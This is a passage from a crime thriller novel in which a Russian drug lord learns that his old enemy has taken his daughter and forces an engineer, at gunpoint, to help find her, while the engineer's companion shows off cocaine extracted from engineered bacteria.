“The evidence says otherwise,” said Passinsky.

Sergey rolled his eyes and chuckled contemptuously. “*Evidence*? You have no evidence on me, you old ass.” His own voice came off as slow, shrewd, and somewhat snide, with exaggerated “o” sounds and hardened consonants. He had spent most of his life in Saint Petersburg, on the cold, humid shores of the Baltic Sea. It was a worldly metropolis — a city of art and theatre, of literature and music, and of crime and corruption so brazen that it made Prohibition-era

Chicago look like the Smurfs' Village. Sergey's subtle accent conveyed cleverness, rugged resilience, and an attitude toward authority that could not be properly described in polite company.

The old man's face showed profound irritation. He reached into the manila envelope he carried, and withdrew a sheet of paper to lay on the table. Upon the paper was a printed screenshot of a security camera recording, with text indicating the timestamp. It showed Eugene, clad in his now-destroyed Italian leather jacket, standing in a brightly lit room filled with glassware, refrigerators, and scientific equipment. He was holding a young woman at gunpoint with one of those tiny snubnose .44 Magnum hand-cannons of which he was so fond.

"Are you going to deny that this is your nephew Eugene?" asked Passinsky.

"What if I do?" Sergey shot back.

Passinsky's cold eyes narrowed. "Kindly spare me the trouble of proving what we both already know. I'm a scientist, not a judicial magistrate. I refuse to waste my time playing pointless mind-games with you."

Sergey smirked. "Then you shouldn't have sat down here." He haughtily slid the paper back across the table toward the elderly man. "I have no idea who that is," Sergey said conclusively.

Passinsky exhaled sharply through his nose. "Fine," said his dry old voice. "In that case, let's see if *this* one rings a bell..."

From his manila envelope he produced another paper. It bore the printed image of a thin, intelligent-looking man. Sergey recognized him from the factory: it was the technical savant who seemed to be plaguing Sergey at every turn. On the page, the scoundrel stood before Eugene in an office hallway, wearing a lab coat, wielding his devil-spawned contraption.

Sergey's fists clenched at the sight of him.

Passinsky gave an affirmative nod. "So, I take it you know him?"

Sergey growled, "He and I have... encountered one another, yes."

"Just as I thought, then," said Passinsky. "It appears this fellow has been a thorn in both of our sides."

Sergey nodded slowly, his eyes locked on the paper.

"It may interest you to know," said Passinsky, "that, from what I can tell, this is not his usual line of work. Apparently he's just a computer engineer — originally specialized in circuit design and microchip fabrication, then eventually transitioned to software. As far as engineers go, he appears to be a highly skilled one, but he's otherwise rather unremarkable. Aside from having worked on a few civilian contracts for the United States Navy, he doesn't even appear to have any military affiliation."

"How is he called?" Sergey hissed.

Passinsky held up his manila envelope. "It is all here," he said. "His name, his address, his social groups, his favorite activities, everything." He waved the envelope near his head, but made no move to pass it across the table.

Sergey stared at him for a few moments, keeping a poker face. "Supposing I was interested..."

Passinsky rolled his eyes. "Sergey, you are interested. I will not play silly games with you, you punk! Do you understand?"

"What do you want for it?" Sergey asked flatly.

"You know perfectly well what I want, Sergey," said the old man. "In our conversation on Leo's telephone, you implied that it is in your possession."

"Suppose I lied," Sergey said standoffishly. "Or suppose I didn't bring it. Suppose I came here only to find out who you are and what you have to offer. And now that I know, suppose I simply reach over this table, grab that envelope from your weak old hands, and walk away?"

Passinsky grimaced in disgust at him. "Ugh! Even an overgrown Leningrad street urchin such as you should at least feel some shame—"

"It's called Saint Petersburg, you vegetable-brained geriatric," Sergey interrupted. "It hasn't been called Leningrad in over twenty years."

“Whatever. Consider it in practical terms, then,” Passinsky chided. “Why do you think I agreed to meet you here, in this venue? You think it was for *your* benefit? Think twice before attacking an old man in public, Sergey. You’d certainly never get away with it.” He leaned back and, with arms spread wide, gestured to the throngs of people milling about the shops and stands of Pike Place Market.

“Fine. But then, even someone as obviously senile as you should at least feel some shame in making me such a pathetic offer,” Sergey replied snidely. “A tube filled with nearly priceless microbes, in exchange for some papers about some random man whom I only care about as an afterthought?”

“Need I remind you,” Passinsky pressed, “that the vial is, in fact, useless to you? You do not know how to use its contents. As such, you have nothing to gain through your refusal to cooperate.”

“Oh sure, that’s true,” Sergey said breezily. “But I also know *you* want it very badly, and I’m quite certain you’d be willing to give me much, much more for it than...” He waved at the envelope. “...*that*. No, good Doctor. I think I’ll keep what’s mine.”

“It’s *not* yours,” said Passinsky.

“It is now,” Sergey smirked.

The elderly man hesitated for a moment, then sighed and leaned forward, clasping his hands. “Sergey, let me make something perfectly clear,” he said . “This exchange that I propose is strictly a professional courtesy. I sincerely hope that you brought the vial here with you, and that you are willing to hand it over amicably. Because if you do not, then I’ll have to have my boss’s men raid your house and extract it from you by force — and if you are indeed having such ‘communication problems’ as you seem to describe, then you are hardly in a position to put up much of a fight. Now, my friend, I would really prefer that the matter does not escalate to such a level — not because I give a damn about you, but because it would greatly displease my boss, and make me look even more foolish before him than I already do. And my boss is not a man I wish to displease further. So that is why I extend to you the invitation of handling this matter by way of exchange — it is the closest I can come to a win-win solution. Do you understand?”

Sergey stared at the old scientist contemptuously.

Passinsky stared back. “Need I remind you, I’ve already demonstrated that I know how to reach you, where you live, and who your family is.”

Sergey looked away with a snarl. Reluctantly, bitterly, he reached into his pocket, withdrew the small smiley-faced vial of crusty pale brown goo, and laid it on the table.

Passinsky gave him the manila envelope, and took the vial up in his papery liver-spotted fingers. His ancient wrinkled face looked tired as he inspected the vial and sighed with relief. "I'm glad we could come to an agreement," he said.

Sergey didn't respond. He merely opened the envelope and examined the papers inside. For a few moments, he read the documents in silence. "So... Are we done here?" Sergey said, without looking up.

"Well," said the old scientist, "there is perhaps another matter, more personal in nature."

Sergey folded up the papers and put them in his pocket. "What is it now?" he grumbled.

"This person whom those papers describe, this 'Daniel' fellow... He's built a most remarkable machine. A rifle that shoots a pulse of electromagnetic energy..."

"Yes, yes." Sergey groaned. "It kills electronics, I know."

"From a technical perspective, I'm quite curious about this machine. If there's any chance you could procure it for me, I could reward you. It really is a very interesting invention."

Sergey snorted. "That the accursed piece of garbage is the bane of my existence. I'd sooner shove it into a trash compactor."

“You know, a young man at my office helped me identify it. You’ll never believe where he recognized the device from. An old computer game! Entertainment for children! Delightful, isn’t it? And do you know what its function was in this computer game? Deactivating robots and... Another kind of monster... My young colleague used an amusing word for it: ‘cyborg’. Do you know what a cyborg is, Sergey?”

Sergey stared at the old scientist with a bored expression.

“Oh Sergey, you of all people really should learn this word. A ‘cyborg’, you see, is a creature that is part man, part machine. A man who’s had parts of his body replaced or augmented with electronic components. Parts of his body that no longer function properly because of injury or illness. Do you understand my meaning, my friend?”

Slowly, Sergey’s bored demeanor faded to a combination of humiliation and indignant rage as he grasped the old scientist’s insinuations. Defiantly and protectively, he folded one arm across his chest, and leaned menacingly toward the old man. “The state of my body is absolutely none of your concern, you parasite-infested swine!” he hissed.

“It is nothing to be ashamed about,” Passinsky said flatly. “In fact, in your position I would consider it a source of pride! A testimony to the fact that we truly do live in future times. A living embodiment of the power of technology over the weaknesses of the flesh.”

“How dare you!” Sergey spat. “Whose flesh are you calling ‘weak’, you decrepit old cur? I could break you in half with a flick of my wrist!”

Passinsky shook his bald, silver-fringed head. “Such hostility, over something so inspirational.”

“How the hell do you know these things about me?” he snarled at the old man. “Why have you been watching me!? Who the hell do you think you are?”

Passinsky shrugged innocently. “You were simply a part of my assignment, Sergey. It’s nothing personal — not for *me*, anyway. My boss knew you’d moved your operation to Seattle after your little falling-out in Leningrad— sorry, Saint Petersburg. And, because of both the location of Tungsten’s offices and the nature of our research objectives, he thought it would make sense to keep track of you. Maybe even recruit you for some distribution work later if the timing proved right. Which, of course, is no longer a possibility under the circumstances...”

Sergey’s large fists clutched at the sides of the small table. “Why me? Why does your boss give a damn about me? How does he even know who I am?”

“My boss?” Passinsky said nonchalantly. “Well, I don’t know the details, but from what I understand, you two have a history. I hear you worked for him back in Saint Petersburg? Arranged some sales, apparently...”

Sergey felt his breath seize in his throat. His pulse throbbed on the sides of his neck. “No...” he gasped.

“I got the impression that something went sour between the two of you back then,” Passinsky continued passively. “He seemed extremely unhappy about something you’d done about ten years ago...”

The crowded pavilion spun around Sergey’s head, the shifting forms of shoppers and tourists suddenly making him feel nauseous and lightheaded. His breathing grew shaky. He coughed. He shook his head. He whinnied. It didn’t help.

“Something about... What was it?” Passinsky went on. “You kept too large a commission for yourself? Something along those lines? You lied about the size of a sale so you could keep the difference? He never really told me exactly what it was, and I never thought to ask...”

His hearing began to fade. In the periphery of his vision, Sergey could see intricate patterns of capillaries, surging with blood.

Passinsky added, “He’s called Ivan...”

Sergey shot up from his wicker chair. The edges of the small round table were already in the grasp of his large hands. Standing, he lifted the metal patio table a few inches and slammed it back down. The scientist’s bottle of seltzer water fell over and rolled off the edge. The delicate cup of tea, along with its saucer, tumbled and shattered against the patio deck.

“He murdered my family!” Sergey screamed.

Passersby gasped at the violent outburst and stared in shock. Patrons seated nearby backed away. Café staff turned their heads and watched nervously, glancing back and forth to one another to decide who, if anyone, should say something.

Passinsky flinched but remained seated. His face displayed, if anything, no more than simple annoyance.

“He killed Sveta! And Vadik!” Sergey spat. He leaned on the table, his hands still curled around its edges, his knuckles turning white. “His men broke into my home! They gassed me and electrocuted me with cattle prods! They tied me down and forced me to watch! Do you know what he did to them? Do you know!?”

“I know what kind of man my boss is,” Passinsky replied placidly.

Sergey suddenly looked away and hissed, “Your boss...! Ivan is your boss...!” He stood and gasped for air, his eyes wide with panic. “You run Tungsten and Ivan is your boss...”

Passinsky nodded affirmatively. “Yes. He’s the man that wires my paychecks. He created a fictitious investment consortium to launder the money, but he’s the consortium’s sole member. Tungsten is his company.”

“Tungsten is his company...” Sergey repeated.

Passinsky shrugged. "Of course. Surely you didn't think that a company whose sole project is a new source of cocaine would have an entirely scrupulous investment provider."

"Tungsten is Ivan's company...", Sergey stuttered. "It's Ivan's company... And I... I... Oh dear God...!" His hand shot up to the elaborate cross that hung from his neck, which he began rubbing frantically. "Oh dear Jesus... Oh sweet Mary, Mother of Christ... And he's coming? Ivan's coming? Here? Today?"

"He was already on his jet when I talked to him earlier this morning," said Passinsky. "He might've landed by now. In any case, knowing how he operates, an advance group of his men is probably already in town."

"But he doesn't know, right?" Sergey said, his voice a combination of fury and pleading. "He doesn't know that I... That my men... That we..."

Passinsky grunted. "Don't be silly, Sergey. Of course he knows. I told him. And let me tell you, that was not a phone call that I enjoyed having to—"

The small round table flew aside with a single swipe of Sergey's hand.

He grabbed the scientist by the collar of his shirt, and hoisted the elderly man out of his wicker chair. "You son of a bitch!" Sergey screamed into his face, along with a litany of colorful invectives whose rich meanings would be lost in translation. He shook the frail gray form roughly while the old man stammered and demanded that the brute unhand him.

The crowd erupted in protest. The commotion had already put bystanders at full alert, and many had already been preparing to intervene. Men rushed in from all directions — café staff, passersby, fellow patrons — to pull the large belligerent man off of the thin elderly scientist. Women shielded the aged victim, shouted for help, yelled admonishments, called out for anyone who might speak Russian to come and translate.

Sergey fought back against the pull of many arms around him, grabbing at him, restraining him, forcing him down...

Just like he'd done so many years ago... When the men broke into his house on a frigid Saint Petersburg morning, with clouds of frost rising from his breath... When they'd knocked the gun from his hand, he grabbed a lamp, and bashed it against their skulls... And when they ripped the lamp away, he continued with his fists... His large, powerful muscles gliding under his skin, burning with adrenaline... His wife, Sveta, running to the nursery... And Rosie in her crib, crying, screaming... And Vadik, his son, six years old, fighting, biting, kicking, trying to fend them off with a plastic toy sword... His head reeled from the ether they'd tried to knock him out with... His vision spun, he could barely see, but he would not be subdued, not by these men, not when his family was at stake... And suddenly his entire skeleton rattled within his flesh as multiple cattle prods stabbed into his ribs... And his chest felt like it was being crushed in a vise, and there was an aimless, arrhythmic fluttering sensation from behind his sternum, and everything tilted and went black...

He picked one hand at random from the many that held him. He grabbed its wrist and gave a sharp, twisting yank. There was a soft crunching noise, and a man shrieking and screaming. The injured foe retreated, several people coming to his aid.

The sea of hands holding Sergey released him, and the crowd of vigilant citizens backed away in terror. A vacant ring surrounded him, none daring to come within his reach.

His eyes darted around the outdoor pavilion, looking for an escape. The narrow crisscrossing walkways, the rolling street carts, the convoluted networks of stairs and ramps throughout Pike Place Market would serve him well. But he had to move fast. Not only because the police were undoubtedly on their way, but because...

“Rosie,” he gasped. “My Rosie...!” He reached for the pocket where he typically kept his cellphone. It wasn’t there. He had destroyed it the previous night. “They’ll... Oh God...!”

He bolted from the pavilion. A few particularly brave people tried to stop him. He swept them aside like curtains.

Passinsky, straightening his shirt and gesturing graciously to the intervening bystanders to let them know he was alright, called out to him, “Sergey, don’t bother! I’m sure that he already has her.”

DOPAMINE

The old scientist's choice of words was deliberate. In Russian, the verb "to have" is never used in reference to a woman or girl unless it is intended to convey a very specific implication.

24

***T**HUMP-THUMP! THUMP THUMP! THUMP THUMP! Thump-thump thump
thump thump-thump ...*

Danny vaguely recognized the rhythm.

His eyes opened slowly. The shadows cast by the sun through his bedroom window hinted at an hour well past noon.

When he tried to sit up by propping himself on his elbows, he felt the long, stinging lance of pain across his upper back. He reached around to feel the shoulder wound, and remembered that his hand was still sensitive from the burn. His injuries served as unwelcome yet unavoidable reminders of the horrors of the previous twenty-four hours.

He also saw a trail of thin claw-marks dug lightly in his skin from his chest to his abdomen. He smiled with satisfaction. Not everything about the previous day had been so bad after all.

Thump thump! Thump-thump thump, thump-thump thump...

The thumping was only slightly harder than sock-clad footsteps. The beats underscored the muted notes of cheerful, vibrant music, played with the volume turned low but nonetheless clearly audible through the wall:

“What a feeling! (thump-thump, thump thump, thump-thump) Here’s believing! (thump-thump, thump thump, thump-thump) I can have it all, now I’m dancing for my life...”

He slowly stood up and dressed himself in his blue pajamas. He took his time, realizing with calm relief that he no longer had a job to worry about showing up late for, and for the time being he was financially secure. Most importantly, he had a brilliant and beautiful young woman in his house playing *Dance Dance Revolution* in the next room.

With a goofy, blissful grin on his face, he headed out to join her.

The moment he opened the bedroom door, he was hit by an instant and overpowering wave of revulsion and fear. His throat constricted. Images flashed before his eyes of the man with the acid-burned face, of the psychotic Asian girl dying in a pool of blood and chemicals, of hiding under the desk with Jason while being stalked like game...

The stench of acetone and kerosene wafted through the open door, filling his nostrils and stinging his eyes.

For a moment he lost strength in his legs. He listed to one side, and grabbed a hold of his computer desk to regain his balance.

He took a few deep breaths. The fumes were actually quite thin. They'd have been entirely inoffensive, in fact, had it not been for his experiences the previous night. The memories of those events weren't even a full day old yet — their proximity could still be measured in mere hours. How many hours, he couldn't exactly say. Propping himself against the doorframe, he leaned out to take a look at the stove. The clock read 00:00.

The kitchen still contained the cluttered trappings of an impromptu biochemical laboratory. Salt, sugar, and amino acid powder still lay spilt across the floor, and wires still protruded from behind the stove. Near the sink, however, he saw several new items: metal buckets with stirring rods alongside bottles of nail polish remover, industrial-strength drain cleaner, and heating oil.

From somewhere on his opposite side, the music and the thumping had stopped.

"If you see your shadow," said Tina, "do we get six weeks more winter?"

Danny turned to see her watching him from the living room as he leaned out from the bedroom doorway. She wore the previous day's clothes and a cheerful smile.

"Good morning," he said with a froggy voice as he emerged from the bedroom. He stretched his arms and ribs, his joints popping with the motion. "Or afternoon. How long was I out?"

“All day,” said Tina. “It’s almost three. I figured I’d let you sleep.”

“I’m impressed you could figure out how to work my media center,” he said.

“I got bored!” she said with a chipper lilt.

He bobbed his head toward the kitchen. “So... I happen to be absolutely starving. I see you’ve been cooking?”

“Eating anything in here right now would be an astonishingly bad idea,” she replied.

“Aww, darn. And here I was looking forward to a nice hearty meal of bacteria stew. How’s the broth doing, anyway?”

Her mouth formed a boastful grin and opened to answer, but she stopped herself, visibly forcing herself to rein in her pride. Instead, she pointed to the stove and said with bridled excitement, “See for yourself.”

He followed her gesture and looked at the pot. The plastic wrap clung loosely to the lid, evidently having been peeled off and reapplied several times. Curious, Danny approached the stove. As he removed the lid from the pot, he noticed that the sweet, salty smell of the broth had been completely overtaken by a much stronger odor — the fetid stink of brackish swamp water, heavy with the acrid

stench of decay. Inside the pot, the broth was a rancid yellowish-brown soup, thick with fatty blobs of viscous slime and stringy with strands of brown, grainy, congealed particles floating in the ooze.

“Looks delicious,” Danny said while suppressing a gag. He put the lid back on.

“Pretty incredible, right?” said Tina. She bounced toward the kitchen and stood behind the granite counter. “It’s in an exponential growth phase. As long as there are still nutrients, in a perfect broth the bacteria can double their population every half hour.”

Danny nodded, and worked the math. “So after ten hours, they’d double twenty times. Two to the twentieth is a million and change. So that tiny speck you started with has multiplied by a factor of over a million by now. That’s... a lot.”

“That’s biology!” Tina said, trying to refrain from grinning like a fool, and failing.

Danny chuckled at her. “You’re kind of proud of yourself right now, aren’t you?”

“Well, I damn well should be!” she replied. “Considering how amazing I am and everything!” She lifted her head theatrically high and splayed her black-nailed fingers toward her face to emphasize her sheer fabulousness. “Seriously! I’ve been stuck behind a reception desk for almost two years, when the whole time what I’m really meant to be doing is *this*, this right here. What’s got two thumbs, and can incubate transgenic bacteria?” She pointed both of her thumbs at herself. “This girl!”

Danny, laughing warmly and unable to take her eyes off of her, walked away from the foul-smelling pot and came around to join her on the opposite side of the kitchen counter.

She wrapped her arms around his pajama-clad waist. Her bright, joyful eyes looked welcomingly into his.

“So, when will we know if it works?” he asked in a low voice.

“What do you mean?” she said softly.

“Well, I mean, breeding bacteria is good and all,” said Danny, “but let’s not forget that the whole point of having these germs is to use them to extract the... you know... the... the drug. Because otherwise, it’s just plain old *E. coli*, right? And that would mean that, this whole time, we’ve been getting used by shady corporate assholes and chased around by the Russian mob for something you can get by accident at the nearest Taco Bell. So, when will we get to test it? When will we get to know?”

She tilted her head toward the kitchen counter and said, “We already do.”

Danny followed her gaze. Between the scattered glassware and plastic bags and nutritional supplements, he saw a small cleared area of his glossy granite countertop. There, standing out in stark contrast against the blackness, stretched

several thin parallel lines of fine white powder. They were narrow and wispy, and upon the black granite they looked like feathery clouds, magically illuminated against the inky sky of a moonless night.

He slid reluctantly out of her embrace and leaned down to examine them closely. “Whoa...” he gasped, mindful to prevent his breath from disturbing the delicate rails.

“I did some shopping this morning while you were asleep,” said Tina. She moved one of the metal buckets aside. Behind it, amongst the bottles of kerosene and acetone, was a large plastic jar of powdered glutamate. “I picked that up from Super Supplements. Everything else I found at Home Depot.”

“And then you just mixed everything together and, bam, cocaine?” Danny asked. The interior of one bucket was lined with a greasy brown residue, and stank of kerosene. The other, which emitted a faint hint of the stinging odor of acetone, bore a yellowish-white rocky crust that clung to the inside of the bucket like crystals of frost on a winter morning.

“There’s several steps to it, obviously,” said Tina. “But those *E. coli* have the same cocaine synthesis pathway as the coca plant, so I just figured it’d be the same process as extracting it from coca leaves.”

“Which you happen to know off the top of your head?” Danny asked, mostly joking.

Tina shrugged. "The Internet knows it. The Internet knows everything!"

Danny laughed uncomfortably. "Yes... and now the Internet knows you looked up instructions for how to make cocaine, and then went to Home Depot and bought the ingredients. ISP records and credit card receipts can tell a colorful tale."

She crossed her arms and smirked. "Not in this case," she said smugly. "I did my browsing at the Seattle Online Coffee Company over a double tall skinny latte. And all my payments were in cash."

He turned away from the fresh narcotics on the counter and returned his full attention to the beautiful girl by his side. "You know something?" he said with a devilish grin.

"What?" she asked, unfolding her arms and welcoming his approach.

He put his hands on her waist. "I'm beginning to think," he said, "that maybe you're kind of smart. For a girl, anyway."

She drew herself closer to him and pressed her body against his. "You're a dick," she said with a sparkle in her eyes.

Their lips met in a warm, passionate kiss that broke his mind free of the bonds of gravity. His heart raced. He deftly moved his mouth down the side of her neck.

In a voice made soft and breathy by her enjoyment of his ministrations, Tina asked him idly, "Have you ever tried it, by the way?"

Danny paused long enough to ask, "Tried what?" He resumed kissing his way down to her collar and slowly began unbuttoning her shirt.

"Cocaine," she answered.

Danny pulled back slightly and shook his head. "Me? No. No way. Have you?"

"Eh, I've indulged," she said, her fingertips running softly along the back of his neck. "But I think my clubbing days are long behind me."

He took her head in his hand and turned it to one side to gain access to an earlobe. "What does it feel like?" he whispered between nibbles.

Tina mused for a second. "Kind of like this," she answered.

"I'm definitely never, ever going to touch the stuff, then."

"What, you don't like it?" she teased.

"I'd never be able to stop."

Kissing continued, vigorous and passionate. Fingers glided through hair and brushed across skin. A bra strap slid down over a shoulder.

The doorbell rang.

Danny and Tina looked at the door simultaneously, then looked at each other with matching quizzical expressions.

“Did you order pizza or something?” Danny asked her.

Tina shook her head.

Perplexed, Danny headed toward the door. “That’s too bad,” he said nonchalantly as he crossed the room. “I really am famished.” He looked through the peephole.

There was nobody outside.

“What the hell?” Danny mumbled. Confused, he unbolted the door, turned the knob, and began pulling it open. “Hello!...?”

An immense dark blur spun out quickly from beside the door, just beyond the view of the peephole. In an instant, it hurled itself through the doorway. It was the size and shape of a large, muscular man.

The whirling momentum of its entry thrust the door back against Danny. Unprepared for the burst of explosive force, Danny caught the corner of the door square in his chest. He fell backward, landing hard on the smooth wood floor. The pain and shock forced a loud grunt out of him.

Hurt and stunned, with his ribs and tailbone smarting from the impacts, he looked up to try to comprehend what had just happened.

What he saw, from the vantage point of his hardwood floor, was the long black barrel of a silencer-equipped handgun pointed straight into his face. And on the other side of that gun, darkened to a near silhouette in the light from the doorway, towered the massive shape of Sergey Mukhayev.

Danny found himself unable to breathe. His throat constricted to the point of nausea. With spastic motions of his elbows and feet, he scurried backwards, away from the door.

Sergey followed him as he tried to clumsily scuttle his way along the hardwood floor. The drug lord matched the pace of Danny's flailing motions with his own slow, relentless footfall, advancing unstoppably like a stone golem. He kept the gun pointed squarely between Danny's eyes as he marched into his home. Without taking his gaze off of Danny, the large Russian kicked the front door of the house closed behind him.

From somewhere far away, Tina screamed. There was some kind of rummaging commotion coming from the kitchen.

Sergey's gaze momentarily broke away from Danny. The Russian looked toward Tina and said dismissively, "Put that down. You will only hurt yourself."

In the brief second of Sergey's invasion, Tina had fled around the counter into the kitchen. She stood holding a large, sharp knife with both hands, pointing it at Sergey with as much courage and menace as she could muster.

Unfortunately, this was not a lot.

The hulking Russian ignored her. He towered over Danny like an enraged colossus and snarled, “Get up!”

Danny whimpered.

“I said stand up, you son of the bitch!” Sergey barked.

Danny struggled to his feet. “How... How did you...” he stammered as he rose.

Sergey looked Danny in the eye, his lips curled and nostrils flaring. Slowly, he stepped so close that Danny could feel his breath and smell his cologne and sweat.

The Russian’s hand shot out and grabbed Danny by the throat.

He shoved him against the nearest wall and pinned him there. Danny tried to yelp, but all that came out was a honking, wheezing sound. He raised his hands to try to pry the meaty claw off from around his neck, but the Russian’s grip was as rigid as a steel vise.

“You...” the Russian seethed. “It is all you! I am up in this ass because of you!”

Danny’s vision grew watery and distorted as tears of pain and terror began welling in his eyes. “I... I’m sorry!” he squeezed out, his voice sounding disturbing to himself through his constrained larynx. “It was just a job...”

Sergey looked at Danny with an expression typically used for things stuck to the bottom of a shoe.

“You nearly killed my nephew. Twice,” the Russian growled. “You tricked me into giving lockdown order to my workers. You blew up my factory, you got one of my soldiers killed, you got another badly wounded. And I am running out of cars!”

The paw around Danny’s neck was pinching critical vascular anatomy. No matter how hard his arteries throbbed, the flow of blood to his brain began to dwindle. His vision started to fade — colors dimmed, and the world seemed to flatten. Sergey’s voice sounded like it came from an echoing distance, growing steadily quieter.

“I have no more contact with my men because of you. I have no army, no telephones, no cash flow. I have only one thing now. One thing. One thing I am left with.”

Sergey shoved the end of the silencer against Danny’s chest.

“You,” Sergey spat out. “I have you. And you do not look like much. But I know you are one clever, sneaky, slippery little shit. And, God willing, maybe that will be enough.”

“What do you want from me?” Danny whispered, barely conscious. He could feel the silenced muzzle pressing into his ribs. It was shaking.

And as Sergey looked into his eyes, Danny, with faltering sight, noticed something beyond the anger and contempt. Whether it was in the twitch of his lip or the crease of his brow, Danny sensed something deeply vulnerable in the large man's face, far beneath the rage. Something scared and desperate.

"I would love nothing more than to simply kill you right now, quick and clean and easy. But I need you," said Sergey with a pained voice, "to save my daughter."

DANNY DROPPED HARD INTO THE CHAIR at the computer desk in his bedroom. The ergonomic air-springs bounced beneath him.

Sergey, standing behind him with gun in hand, leaned down over his shoulder close enough for him to feel the Russian's breath on his neck. Sergey said slowly into his ear, "We will have no funny business. I know you will find some sneaky way to use computer to call for help — you will try to type something smart that I won't understand, yes? Well, let me tell you something. If I hear anybody come to this house... Anybody! Police. Friend. Neighbor. Newspaper delivery boy. Even stray cat. ...Then I shoot you dead that moment. I will not even think about it. And then I will use her..." He gestured to Tina behind him, who sat tensely but passively on the edge of the bed nearby. "...as hostage for me to escape. I am being clear to you?"

"Crystal," Danny squeaked.

Sergey warily eyed the windows on Danny's large monitor. "What kind of *pryaklati* computer is this, anyway? It is not Windows, it is not Mac..."

"It's Ubuntu," Danny answered.

Sergey grunted disapprovingly. "This is what computer hackers use?"

"Actually, yeah..."

The Russian snorted loudly. "Well then! Start it! Do the hacking!"

Danny stared blankly at the screen, his hands poised over his keyboard. He opened and closed his mouth a few times. "It... Um... It's not... It doesn't work like that..."

Sergey snarled, "It doesn't work like what?"

"You... You've got to give me something to go on," Danny said nervously. "Some kind of lead. Some piece of information to start with. What's her name? Where was she last seen? How old is she?"

"Twelve," the Russian answered. "She was at her dancing school. Teachers said she left for lunch and never came back."

Without thinking, Danny asked, "So she's just cutting class?"

As soon as he had said it, he flinched. He expected a fist to the temple and a loud Russian-accented lecture about how Sergey's little angel was the sweetest, most well-behaved cherub in all of God's Creation.

Instead, what he heard was a stifled, pained chuckle.

"I take it you have raised a daughter?" said Sergey, with what Danny swore was a hint of a smile.

Danny shook his head.

"It is true, she has cut class many time before," the Russian said. "She is always trying to get away with everything. Just like her old man."

"So, why do you think this time is different?" asked Danny.

Sergey bowed his head. "There is a man in the city today," he said darkly. "An old business colleague of mine. Things went very bad between us many years ago. And in this business, when things go bad..." He absentmindedly rubbed the cross around his neck.

"I see..." Danny said, wincing as ominous comprehension dawned.

Quietly and emptily, more to himself than to Danny, the large Russian whispered, "She doesn't deserve to suffer for my sins."

Danny opened a web browser. The plain white expanse of the Google search page dominated the computer's screen. "Let's start with the obvious," said Danny, "This man who's got your daughter. What's his name?"

"He is called Ivan Zheleznov," said Sergey. "In English, you write it 'Z', 'h'..."

From behind them, on the bed, Tina suddenly said, "Wait, Iv—?" She cut herself off.

They both turned to her.

She glanced between the two of them. "Sorry. It's nothing. Never mind."

Sergey focused on her. "You have heard about him?"

Tina remained silent for several seconds, thinking. She stared intently at Sergey, studying his face and body language. Finally, she said, "Is he from Saint Petersburg?"

Sergey's eyes widened. "Yes..."

"Super rich, right?" she said. "Owns companies all over the world?"

"Yes!" said Sergey. "You know this man?"

Tina turned to Danny and said, "He's staying at the Medina Gallante, in the Presidential Suite."

Danny asked, “The big fancy lakeside hotel between Mercer and the 520 bridge? The one that looks like a gigantic ski lodge on steroids?”

Tina nodded.

Danny turned back around to the computer and started typing.

Sergey continued staring at her. “How do you know this!?”

“I’m the one that booked the reservation,” Tina answered.

Sergey squinted in confusion for a few moments. “Oh! I know you now. You are office girl from Tungsten! We talked on telephone! Your name is Tina, yes?”

Tina nodded. “Yeah.”

Sergey added, “You busted Eugene’s lip with old computer keyboard.”

Tina turned her head away, looked upward innocently, and said, “Maybe.”

Danny browsed the hotel’s website. The screen showed a high-resolution slide show of large cedarwood rooms with floor-to-ceiling windows, an elegant steak-and-seafood restaurant, and glorious panoramic views of mountains and evergreen forests.

“Jesus Christ, this place is *sick*,” said Danny. “It’s got its own boat dock in Lake Washington — they let guests take their yachts out for a spin. ...Authentic Finnish saunas in the gym ... And a helicopter pad on the roof, for guests that prefer to fly in directly from Sea-Tac Airport on rental choppers.”

Sergey nodded. “He is in Presidential Suite of this place right now?” He grabbed Danny by the arm and began pulling him out of his chair. “Let’s go! We go to my home first, get weapons, get Eugene and Leo, then we get Rosie!”

Danny struggled against his pull. “Jesus, no! Sergey, that’s suicide!”

“Don’t be fucking coward,” Sergey snapped back.

“I’m not being a coward, I’m looking at the facts!” Danny protested. “Look, the kind of people that stay at a hotel like this, they’re very high rollers. We’re talking ambassadors, heads of state, officers of multinational corporations... My point is, the security in a place like this is going to be absolutely state-of-the-art.”

“This does not scare me,” Sergey shrugged.

“It should,” replied Danny. “Let me put it in perspective for you. This hotel is in the Medina neighborhood — one of the richest districts in the country, and all the money is from technology. Bill Gates’s house is there. Jeff Bezos — the guy who created Amazon — *his* house is there. You know what the security in this neighborhood is like? They have marine radar systems watching every single building along the shoreline to call out the coast guard if so much as a floating

beach ball gets within 500 feet of anyone's property. They have cameras on every street corner that use image recognition software to read the license plate of every car that drives through the neighborhood — any car that isn't registered to a Medina resident gets pulled over by police before it can get to the next intersection. If Fort Knox was rebuilt as a 21st-century residential neighborhood, it would be Medina, Washington.

"And this is just what it's like on *public* property. Inside that hotel, there's going to be world-class physical security systems, full-time guards on staff, and hotlines to a SWAT team. If you go in with guns blazing, you'll be mowed down before you make it through the lobby."

"So what do you suggest?" asked Sergey.

"I don't know," said Danny. "Let me think..."

Danny stared at the screen, clicking at random on the web page, looking for leads.

Tina spoke up behind them. "Can I ask you something? Why is this so complicated? Why don't you just call the police?"

Sergey looked at her with frustration. "Do you think police would help *me*? Local police have been wanting to catch me on something for very long time. Even if miracle happened and they rescued her from Ivan, you know what they do then? Use her as bargaining chip against me. They make up some bureaucratic reason

to put her in foster care, make sure I never see her again, pressure me to turn myself in. Do you know what kind of life is for girl her age in foster system? No, this is not what will happen to my Rosie!”

With his face buried in the screen, Danny said, “Guys, I think I have an idea.”

“What is your plan?” asked Sergey.

“Well, the hotel’s security system must’ve been built by somebody, right?”

Sergey paused for a moment. “This is your big idea? You just realize that somebody built hotel security system?”

Danny shook his head. “No... Look, the process by which people build things is... Hold on, give me a minute...” Armed again with a Google search page, Danny typed:

```
"press release" contract security "Medina Gallante"
```

He scanned the results, dismissing most of them, investigating others. He altered the words used in the search query several times. He tried the Wayback Machine, the public result clips of LexisNexis, and a dozen different business blogs. After several minutes of searching, he found what he was looking for. Buried in a tech entrepreneur newsletter from several years prior, there appeared a short, indistinct blurb.

DOPAMINE

SAN JOSE, CA — Carlos Gaeta, President of RockBox Digital Security Systems Co., is proud to announce the signing of a \$7.2M contract with the luxury hotel Medina Gallante of Seattle, WA. RockBox will be providing a comprehensive package of digital security solutions, including full integration with the hotel's reservation, billing, and access management systems.

“RockBox Digital Security Systems, in San Jose, California,” Danny noted aloud.

